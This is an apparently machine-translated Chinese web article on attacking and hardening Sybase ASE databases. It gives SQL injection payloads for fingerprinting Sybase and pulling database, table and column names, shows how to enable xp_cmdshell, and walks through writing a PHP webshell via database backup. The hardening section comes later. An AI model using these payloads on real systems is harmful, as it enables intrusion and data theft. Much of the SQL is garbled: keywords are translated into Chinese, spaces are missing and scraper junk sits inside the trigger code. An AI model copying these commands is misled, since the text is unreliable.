时间:2022-04-21 10:04:52来源:网络整理
0x00 Sybase 数据库简介
Sybase的全称也叫:SAP Sybase Adaptive Server Enterprise(ASE或简称Sybase ASE),继承自MSSQL的原始代码,与MSSQL非常接近。 Sybase是一个关系型数据库系统,是典型的UNIX或WindowsNT平台上客户端/服务器环境下的大型数据库系统。它使用 PowerBuilder 作为开发工具,使用 SAP Sybase SQL Anywhere 作为客户端。当前版本是ASE 15.7.x,从12.5.5直接命名为15.0.0(中间跳过13、14),本次测试为12.5.2,其中12.5是12大版本中最稳定的版本。
创建数据库时,注意存储设备:
服务和端口
开放端口:
备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004
默认数据库
Master:系统的核心数据库,控制服务器的运行,存储所有用户数据库和相关存储设备的信息,包括用户名和密码;
模型:模板数据库。在创建用户数据库时,系统会根据模型数据库进行复制,并将数据库的大小扩展为用户指定的大小。
Systemprocs:存储系统的存储过程。
Sybsystemdb:关于分布式事务管理功能。
Tempdb:包含放置临时数据的临时表。
注册用户和数据库用户
SQL SERVER创建注册用户时,用户可以合法进入SQL SERVER,注册用户信息会放在master数据库的syslogins表中。但是,只有当注册用户成为数据库用户并授予用户一定的权限后,注册用户才能在受限条件下使用数据库中的表。
创建注册用户:
1
2
sp_addlogin loginame,passwd(delete is drop)
创建数据库用户:
1
2
[dbname..] sp_adduser loginame(这里的loginame必须是注册用户,否则会报错)
分配权限:
1
2
3
4
授予所有|选择、插入、删除、更新
在表名上 |视图名称 |存储过程名称
到用户名
或
1
2
3
4
全部授予 |创建数据库,创建
默认、创建过程、创建规则、创建表、创建视图、设置代理、设置会话授权
到用户名
数据库用户分类
sa用户、数据库所有者、数据库对象所有者和数据库普通用户
1),sa用户:是系统用户,拥有所有权限。
2),数据库所有者用户:数据库所有者(dbo)用户可以操作该数据库中的所有对象(如表、视图、存储过程等)。
3),数据库对象所有者:在实际管理中,,一般是数据库所有者。
4)数据库服务器开发平台,普通数据库用户:与public类似,普通数据库用户只有在数据库所有者对数据库中的某些对象(如表、视图、进程等)授予一定权限时才能访问数据库允许操作中的某些对象。
别名和组
1),别名:所谓别名(aliases),是指SQL SERVER中的注册用户以同一个数据库用户的身份访问数据库,并拥有与该用户相同的权限。
2)数据库服务器开发平台,group是数据库用户的集合,即通过控制组的权限来实现对组内数据库用户的控制,但也可以控制组内的部分数据库用户。用户执行额外的权限控制。
角色
一般来说,在一个分工精细的数据库系统中,sa用户往往分为三种角色:系统管理员角色(SA角色)、系统安全员角色(SSOrole)和操作员角色(OPER角色)。
连接和管理工具
1),isql
mysql.exe 类似于mysql 数据库。可以连接到本地和网络数据库。使用 isql -U sa -P "" 连接:
所有参数都区分大小写:
-?显示 isql 开关的语法摘要。
-L 列出本地配置并在网络上广播的服务器名称。
-U login_id 用户登录 ID。登录 ID 区分大小写。
-P 密码是用户指定的密码。如果未使用 -P 选项,isql 将提示输入密码。如果在没有密码的命令提示符末尾使用 -P 选项,则 isql 使用默认密码 NULL)。密码区分大小写。
-S server_name 指定要连接的默认 SQLServer 实例。如果未指定服务器,isql 将连接到本地计算机上的默认 SQLServer 实例。如果要通过网络从远程计算机执行 isql,则需要此选项。
-H hostname 是使用的客户端的主机名。
-d 使用数据库名,用于指定要使用的数据库名
2),官方 Sybase SQL Advantage
缺点:随数据库完整安装包发布,使用时有版本要求。
b.仅支持 SQL 语句。个人认为是isql的图形化版本,不方便。
(Sql.ini 设置和功能:)
3),官方 Sybase Central
缺点:随数据库完整安装包发布,使用时有版本要求。
b,功能不是很强大
4),DBArtisan
0x01 Sybase 安全执行系统命令
默认 xp_cmdshell 被禁用。当 xp_cmdshell 未启用时:
启用 xp_cmdshell: sp_configure 'xp_cmdshell context',0
打开xp_cmdshell后执行命令:
权限不足时执行xp_cmdshell:
详情:
1、执行sp_configure 'xp_cmdshell',0 允许所有具有sa_role角色的登录用户执行xp_cmdshell命令,该功能默认关闭
2、默认sp_configure 'xp_cmdshell',1在windows下测试过longin用户名和密码相同,用户属于administrators权限组。您需要更改密码”!
3、MSSQL由于与windows集成,可以直接使用系统账号登录数据库。而Sybase需要按照上面第二步进行配置,才能达到和MSSQL类似的效果。
评论和联合查询
支持联合,可以用//,--注释,可以用//代替空格,也可以用+代替空格,也支持count(),但是子查询中不能出现通配符。
12.5.2及之前版本不支持TOP关键字,select top N from等注入语句会报错
当然不能用top,肯定会有另一种选择,就是set rowcount N
但是set rowcount N 好像不支持子查询和条件:
多个句子
与mssql不同的是,多条语句直接用空格而不是分号隔开。
编码支持
与 MSSQL 相同:
SQL 注入功能
PHP 中的脚本:
Java 脚本:
判断是否为sybase数据库:
1
2
id=1 且存在(从 master.dbo.ijdbc_function_escapes 中选择*)
在错误模式下注入时,请注意sybase不支持直接比较不同类型的数据(不同于MSSQL):
1
2
3
4
5
6
7
8
9
10
11
id=1 和 1=用户
id=1 and 1=convert(integer,user)
![在此处输入图片描述][28]
id=1 and 1=convert(integer,(select+@@version))
![在此处输入图片描述][29]
id=-1 unionselect1,"",(select@@version)
列库(复杂版):
1
2
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>' '))
列出第一个库主
1
2
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>'master'))
列出除master之外的第一个库
列库(简单版):
1
2
id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1)) 不断增加dbid的值
dbid是一个连续数,容易猜到
PS:虽然Sybase不能使用TOP,对于xml路径,但是支持have,where not in等语法,还是有很多方法可以改变的。
与 MSSQL 的一个区别:
MSSQL 是 xtype Sybase 是类型
列表(仅限复杂版本):
1
2
id=1 and 1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))) from (selectname fromtest.dbo .sysobjects wheretype='U') AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>' '))
列出第一个表的cmd
1
2
id=1 and 1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))) from (selectname fromtest.dbo .sysobjects wheretype='U') AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>'cmd'))
列出除cmd之外的第一个表cmd0
列字段:
1
2
selectname fromtest..syscolumns whereid=object_id('users') and colid=1 递增 colid
即:
1
2
id=1 and 1=convert(integer,(selectname fromtest..syscolumns whereid=object_id('users') and colid=1))
工具注入:
Pangolin猜不出库名,发现抓包中使用了TOP关键字。好像穿山甲在12.5.3
之后才支持sybase
备份写入文件(webshell)
先决条件:
1、备份服务开启
2、备份服务允许远程访问
3、有数据库权限(主机权限)+磁盘写权限
步骤:
1
2
3
4
5
6
7
8
9
10
11
12
13
1、创建表cmd(一张图片)—
2、插入cmd(a)值('')—
3、dump databasetestto ‘C:\wamp\www\1.php’ [完整备份]
(对应MSSQL:backup database library name to disk='C:\wamp\www\1.php 'WITH DIFFERENTIAL,FORMAT;--)
将 TRANSACTIONtest 转储到 ‘C:\wamp\www\1.php’ [日志备份]
(对应MSSQL:备份日志库名到磁盘='d:\www\xxx\test.asp'--)
注意:使用转储TRANSACTION时,数据文件和日志文件不能存储在同一设备中。
4、drop table cmd--
强化与预防
密码
1
2
sp_password "旧密码", "新密码", 用户名
例如将sa用户的密码由null改为123456:sp_password NULL,"123456",sa
1
2
3
4
5
6
7
8
sp_configure"minimumpasswordlength",8---最小密码长度
sp_configure "checkpasswordfordigit",1---至少包含一位数字
sp_configure "systemwidepasswordexpiration",90---密码有效期
sp_configure "maximumfailedlogins",5---设置密码错误锁定阈值
删除扩展存储过程xp_cmdshell,并删除sybsyesp.dll
1
2
execsp_dropextendedproc xp_cmdshell
关闭sa账号的使用:
1
2
sp_lockloginsa,"锁"
关闭远程访问:
1
2
execsp_configure “允许远程访问”,0
关闭后,很多服务将无法使用,比如备份
登录IP白名单
系统对登录没有任何限制,仅通过创建登录触发器实现登录IP白名单
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
createprocedurelogin_trg
作为
"__cf_email__"href="">[emailprotected](18),@login_namevarchar(20)
开始
选择
@ip=t.ipaddr,@login_name=suser_name()
frommaster.dbo.sysprocessestwheret.spid=@@spid
"__cf_email__"href="">[emailprotected]'192.168.0.102'
开始
raiserror30000'IPaddress%1!,withuser%2!loginfailed!',@ip,@login_name
选择syb_quit()
结束
其他
打印“欢迎!”
结束
创建登录触发器后,执行以下命令:
1
2
3
isql>grantexecuteonlogin_trgtloginname
isql>sp_modifyloginloginname,"loginscript",login_trg
日志
1
2
3
isql>execsp_configure"logauditlogonfailure",1--记录登录失败信息
isql>execsp_configure"logauditlogonsuccess",1--记录登录成功信息
/uploads/2015/08/
声明:文章仅代表原作者观点,不代表本站立场;如有侵权、违规,可直接反馈本站,我们将会作修改或删除处理。
图文推荐
2022-04-20 11:05:09
2022-04-20 09:07:41
2022-04-19 15:10:13
2021-12-27 12:05:48
2021-12-27 12:05:10
2021-12-27 11:56:17
热点排行
精彩文章
2022-04-21 09:00:48
2022-04-20 14:02:11
2022-04-20 13:01:28
2022-04-20 11:07:03
2022-04-20 09:59:34
2021-12-24 08:10:26
热门推荐